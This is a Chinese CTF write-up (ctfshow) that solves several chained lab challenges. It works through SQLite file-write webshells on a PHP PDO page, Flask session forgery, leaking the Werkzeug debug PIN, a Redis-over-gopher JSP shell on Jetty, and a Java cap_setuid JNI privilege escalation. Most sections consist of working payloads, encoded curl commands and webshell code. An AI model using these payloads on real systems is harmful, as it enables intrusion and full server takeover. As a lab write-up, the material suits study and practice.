{"success":0,"url":"http://172.2.240.5","file_content":"\n<!DOCTYPE html lang=\"en\">\n\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Database TEST</title>\n\t<script>\n\t\tconst DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';\n\t</script>\n</head>\n\n<body>\n    <h1>Welcome to Database TEST</h1>\n    <p>This is a test page for database connection and queries.</p>\n    <form action=\"index.php\" method=\"get\">\n        <label for=\"name\">Enter Database username:</label>\n        <input type=\"text\" id=\"name\" name=\"username\" required>\n        <br><br>\n        <label for=\"password\">Enter Database password:</label>\n        <input type=\"password\" id=\"password\" name=\"password\" required>\n        <br><br>\n        <label for=\"dsn\">Enter Database DSN:</label>\n        <input type=\"text\" id=\"dsn\" name=\"dsn\" required>\n        <br><br>\n        <label for=\"query\">Enter TEST Query:</label>\n        <input type=\"text\" id=\"query\" name=\"query\" required>\n        <br><br>\n        <input type=\"submit\" value=\"Submit\">\n    </form>\n</body>\n\n<html>\n\n\n","request_headers":{"User-Agent":"python-requests/2.31.0","Accept-Encoding":"gzip, deflate","Accept":"*/*","Connection":"keep-alive"},"response_headers":{"Server":"nginx/1.14.2","Date":"Fri, 03 Jan 2025 10:57:34 GMT","Content-Type":"text/html; charset=UTF-8","Transfer-Encoding":"chunked","Connection":"keep-alive","X-Powered-By":"PHP/7.2.24","Content-Encoding":"gzip"}}

flag:ctfshow{0x8F7C71E8E82E4D1E}

还测出前面源码 8888 端口的flask:(ip不一样因为重启了靶机)

image-20250103195415832

还测出一个 jetty 服务

image-20250104002347581

还有一个 172.2.xxx.2:7400 的服务,返回401,估计是控制环境用的


第三章(PHP)

跳岛战术

跳岛战术,指直接跳过这题打后面几道非预期(

image-20250103190127370

php服务器 172.2.xxx.5

观察一下前面得到的html

<!DOCTYPE html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
    <script>
        const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
    </script>
</head>

<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>
    <form action="index.php" method="get">
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>
        <input type="submit" value="Submit">
    </form>
</body>

</html>

测试发现 config.php 和 index.php 在同一个目录

hint:

&
sqlite是可以不用账号密码的
必须有真实的表结构,才能文件落地

本地写一个pdo查询测一下

?dsn=sqlite:test.php&query=CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY,'<?php phpinfo();?>' TEXT NOT NULL,email TEXT NOT NULL,created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)

image-20250105191146898

image-20250105191653338

能写,接下来尝试打远程

需要url编码:

index.php?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);

但是所有人都卡在了接收不到参数上。。

于是到了6号下午,这个时候数据库有回显了,果然是环境有问题(

需要先生成一个完整表结构的文件:

index.php?dsn=sqlite:user.db%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);

尝试写马(第二段payload需要php用exec才能写马)

?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,'<?php%20phpinfo();?>'%20TEXT%20NOT%20NULL);
?dsn=sqlite:user.db%26query=ATTACH%2BDATABASE%2B%22%2Fvar%2Fwww%2Fhtml%2Fcmd%2Ephp%22%2BAS%2Bshell%3Bcreate%2BTABLE%2Bshell%2Eexp%2B%28payload%2Btext%29%3Binsert%2BINTO%2Bshell%2Eexp%2B%28payload%29%2BVALUES%28%22%3C%3F%3Deval%28%24%5FGET%5B0%5D%29%3B%22%29%3B

能生成文件,但是访问返回500,猜测和 sqlite 那堆字符有关,得写一个干净的shell

getshell

琢磨了半天群主直接给payload了:

%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

此时访问shell.php虽然接口服务会报500,但是已经生成了1.php

然后就getshell了

读config.php

<?php

//数据库连接配置
$database_host = "localhost";
$database_user = "root";
$database_password = "3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5";
$database_name = "web_db_2";

?>

flag:ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}

index.php

<?php
$pdo =null;

$dsn = $_GET['dsn'];
$username = $_GET['username'];
$password = $_GET['password'];
$pdo = pdo_init($dsn, $username, $password);
if($pdo === null){
    echo "database init faild";
    exit();
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = $_GET['query'];
$stmt = pdo_query($pdo, $sql);
pdo_close($pdo);
if($stmt!==null){
    echo "database test success";
}else{
    echo "database test error";
}

function pdo_init($dns, $username, $password){
   
    try{
        $pdo = new PDO($dns,$username, $password);
        $pdo->query("set names utf8");
        return $pdo;
    }catch(PDOException $e){
        echo "数据库连接失败:".$e->getMessage();
        exit();
    }
}

function pdo_query($pdo, $sql, $params=array()){
    try{
        $stmt = $pdo->prepare($sql);
        $stmt->execute($params);
        return $stmt;
    }catch(PDOException $e){
        echo "数据库操作失败:".$e->getMessage();
        exit();
    }
}

function pdo_close($pdo){
    $pdo = null;
}

?>

<!DOCTYPE html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Database TEST</title>
	<script>
		const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
	</script>
</head>
<body>
    <h1>Welcome to Database TEST</h1>
    <p>This is a test page for database connection and queries.</p>
    <form action="index.php" method="get">
        <label for="name">Enter Database username:</label>
        <input type="text" id="name" name="username" required>
        <br><br>
        <label for="password">Enter Database password:</label>
        <input type="password" id="password" name="password" required>
        <br><br>
        <label for="dsn">Enter Database DSN:</label>
        <input type="text" id="dsn" name="dsn" required>
        <br><br>
        <label for="query">Enter TEST Query:</label>
        <input type="text" id="query" name="query" required>
        <br><br>
        <input type="submit" value="Submit">
    </form>
</body>
<html>

邮箱迷云

非预期

image-20250104003437954

?浏览器插件里出现了个数字,看了一下是从网页js来的,试一下居然秒了

flag:ctfshow{81192}

预期

根目录下有 /secret.txt,是一串base,解码得到

hacker_ctfshow@163.com/Hacker_ctfsh0w

网易云邮箱的账密这是,应该是可以直接登录得到邮件的


第四章(Flask)

再下一城

image-20250103195537953

在 172.2.xxx.6:8888 开的 flask

审一下源码:

from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
    session['user'] = 'guest'
    return {'message': 'log server is running'}

def check_session():
    if 'user' not in session:
        return False
    if session['user'] != 'admin':
        return False
    return True

@app.route('/key', methods=['GET'])
def get_key():
    if not check_session():
        return {"message": "not authorized"}
    else:
        with open('/log_server_key.txt', 'r') as f:
            key = f.read()
        return {'message': 'key', 'key': key}

@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}

    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}

@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=8888)

只需要伪造 session 为 admin 就行了:eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU

但是在哪传呢,测了一下发现任务中心不出网

看来要把php那台机子拿下shell才能打

开了debug模式,可以访问console


php那台服务器有curl,直接curl就行

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/key

image-20250106174441782

flag:ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}


顺藤摸瓜(复现)

接下来关注这个:

@app.route('/set_log_option')
def set_log_option():
    if not check_session():
        return {"message": "not authorized"}

    logName = request.args.get('logName')
    logFile = request.args.get('logFile')
    app_log = logging.getLogger(logName)
    app_log.addHandler(logging.FileHandler('./log/' + logFile))
    app_log.setLevel(logging.INFO)
    clear_log_file('./log/' + logFile)
    return {'message': 'log option set successfully'}

@app.route('/get_log_content')
def get_log_content():
    if not check_session():
        return {"message": "not authorized"}

    logFile = request.args.get('logFile')
    path = join('log', basename(logFile))
    with open(path, 'r') as f:
        content = f.read()
    return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
    with open(file_path, 'w'):
        pass

构造curl

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/set_log_option?logFile=../../../etc/passwd%2526logName=1

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/get_log_content?logFile=1

尝试利用clear_log_file直接读 /etc/passwd,但是前面要写日志到文件中,明显权限不足

想到还有 console,但是没有PIN码,怎么办呢

因为这里有 logging 库,可以把控制台打印的东西保存下来,而我们访问/console?__debugger__=yes&cmd=printpin&s=SECRET时会把PIN码打印在控制台,那么就可以把PIN码写到日志

那么先获取console的key,直接访问console,在返回的html中就有:

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/console

image-20250113120057969

然后设置日志文件路径:

http://172.2.186.5/1.php?1=system('curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3CODA.xtpnmtcEw-pXdixnj36DDm51-FY" "http://172.2.186.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"');

接下来使控制台打印出PIN码写到日志中:

curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" http://172.2.186.6:8888/console?__debugger__=yes&cmd=printpin&s=64cjjJmRmKNv647oy994

这里可以对命令进行编码来避免解码问题

http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aM2ZSb2cuakRhSXlvQzlzcGF6QUprZ2N3UUlhcGtHSXhVIiAiaHR0cDovLzE3Mi4yLjE4Ni42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1wcmludHBpbiZzPTY0Y2pqSm1SbUtOdjY0N295OTk0Ig=='));

然后读取日志

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/get_log_content?logFile=main.log

image-20250113120555016

得到PIN码 606-570-039

然后进行PIN验证:

curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"
http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlozZlJvZy5qRGFJeW9DOXNwYXpBSmtnY3dRSWFwa0dJeFUiICJodHRwOi8vMTcyLjIuMTg2LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTYwNi01NzAtMDM5JnM9NjRjampKbVJtS052NjQ3b3k5OTQi'));

image-20250113121001352

验证通过,需要用curl -c来保存cookie

curl -c cookie.txt -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"

访问跳板机上的cookie.txt

image-20250113121452111

然后带着这个cookie去就可以rce了,这里直接文件读取了

curl -b  "__wzdb4206e39743d62f78f25=1736741655|a7b6c7c8a2a5" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=open('/etc/passwd','r').read()&frm=0&s=64cjjJmRmKNv647oy994"

image-20250113122334237

flag:ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}


第五章(Jetty)

艰难的最后一步

那这章就是 jetty 服务了:172.2.xxx.7:8080

参考:https://xz.aliyun.com/t/11821

测试读到 web.xml

image-20250104011242035

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <!-- 环境参数 -->
  <env-entry>
    <env-entry-name>redis.host</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>localhost</env-entry-value>
  </env-entry>

  <env-entry>
    <env-entry-name>redis.port</env-entry-name>
    <env-entry-type>java.lang.Integer</env-entry-type>
    <env-entry-value>6380</env-entry-value>
  </env-entry>

  <env-entry>
    <env-entry-name>redis.password</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>ctfshow_2025</env-entry-value>
  </env-entry>

  <env-entry>
    <env-entry-name>redis.timeout</env-entry-name>
    <env-entry-type>java.lang.Integer</env-entry-type>
    <env-entry-value>10000</env-entry-value>
  </env-entry>

  <env-entry>
    <env-entry-name>app_root</env-entry-name>
    <env-entry-type>java.lang.String</env-entry-type>
    <env-entry-value>/opt/jetty/webapps/ROOT/</env-entry-value>
  </env-entry>
</web-app>

flag:ctfshow{ctfshow_2025}


功亏一篑(复现)

一开始是想在php跳板机上写一个 php 打 gopher 到 redis 上

但是发现 curl 是支持 dict:// 协议和gopher://协议的

curl -v "dict://172.2.132.7:6380/auth:ctfshow_2025"
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZGljdDovLzE3Mi4yLjEzMi43OjYzODAvYXV0aDpjdGZzaG93XzIwMjUi'));

image-20250113123016886

直接构造 gopher 请求包写jsp马

auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit

url编码然后发送

curl -v "gopher://172.2.132.7:6380/_auth%20ctfshow_2025%0Aset%20mars%20%22%3C%25%20Runtime.getRuntime().exec(new%20String%5B%5D%7B%5C%22sh%5C%22%2C%5C%22-c%5C%22%2Crequest.getParameter(%5C%22cmd%5C%22)%7D)%3B%25%3E%22%0Aconfig%20set%20dir%20%2Fopt%2Fjetty%2Fwebapps%2FROOT%2F%0Aconfig%20set%20dbfilename%202.jsp%0Asave%0Aquit"	
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZ29waGVyOi8vMTcyLjIuMTMyLjc6NjM4MC9fYXV0aCUyMGN0ZnNob3dfMjAyNSUwQXNldCUyMG1hcnMlMjAlMjIlM0MlMjUlMjBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyUyMFN0cmluZyU1QiU1RCU3QiU1QyUyMnNoJTVDJTIyJTJDJTVDJTIyLWMlNUMlMjIlMkNyZXF1ZXN0LmdldFBhcmFtZXRlciglNUMlMjJjbWQlNUMlMjIpJTdEKSUzQiUyNSUzRSUyMiUwQWNvbmZpZyUyMHNldCUyMGRpciUyMCUyRm9wdCUyRmpldHR5JTJGd2ViYXBwcyUyRlJPT1QlMkYlMEFjb25maWclMjBzZXQlMjBkYmZpbGVuYW1lJTIwMi5qc3AlMEFzYXZlJTBBcXVpdCI='));

image-20250113125116304

执行成功,直接rce

http://172.2.132.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt

image-20250113180516096

image-20250113180555193

同样的方式读取dylan.txt

The enemy cyber attacker 81192 has been injected with prions by our agents, 
and there is no chance of survival, victory is ours! 
The key is 7b11a7ae330883cb5bf667a9c1604635.

flag:ctfshow{7b11a7ae330883cb5bf667a9c1604635}


今日方知我是我(复现)

需要提权为root

查suid

find%20/%20-perm%20-u=s%20-type%20f%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/bin/mount
/bin/umount
/bin/su
/bin/ping

GTFObins 搜了下没有可用的命令

查cap权限

getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/local/openjdk-8/bin/java = cap_setuid+ep

java 设置了 cap_setuid 权限

那么需要用 java 执行setuid(0)的操作,然而java并不像python那样有专门的 os.setuid 可以设置

需要通过 JNI + setuid 实现,参考 https://stackoverflow.com/questions/5985597/jni-setuid-question

这里按照官方wp的做法:

利用编码写入 SetUID.c:

#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
    return setuid(uid);
}
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c

写入 SetUID.java:

public class SetUID {
    static {
        System.loadLibrary("SetUID"); 
    }

    public native int setUID(int uid); 

    public static void main(String[] args) throws Exception {
        SetUID setUID = new SetUID();
        int result = setUID.setUID(0); 
        Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
    }
}
2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java

编译 c 和 java 文件

2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c
2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java

以root权限执行命令:

2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID

得到 /root/message.txt 的内容

image-20250113183415373

flag:ctfshow{http://8.11.9.2}